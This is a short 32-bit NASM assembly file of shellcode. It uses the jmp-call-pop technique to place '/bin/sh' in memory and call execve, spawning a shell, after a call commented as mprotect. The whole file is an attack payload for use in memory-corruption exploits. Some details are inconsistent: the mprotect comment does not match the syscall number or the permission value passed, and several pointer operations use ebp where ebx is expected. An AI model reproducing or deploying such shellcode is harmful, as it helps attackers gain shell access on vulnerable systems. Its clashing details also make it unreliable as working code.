BITS 32

section .text
global _start

_start:
  jmp short two
one:
  ; mprotect (_start, 4096, 0x02)
  mov eax, 226
  mov ebx, _start
  mov ecx, 4096
  mov edx, 7
  int 0x80

  pop ebx
  xor eax, eax
  mov [ebx + 7], al
  mov [ebx + 8], ebp
  mov [ebx + 12], eax
  lea ecx, [ebp + 8]
  lea edx, [ebp + 12]
  mov al, 11
  int 0x80
  ; exit(0)
  ;mov al, 1
  ;xor ebx, ebx
  ;int 0x80
two:
  call one
  db '/bin/shXAAAABBBB'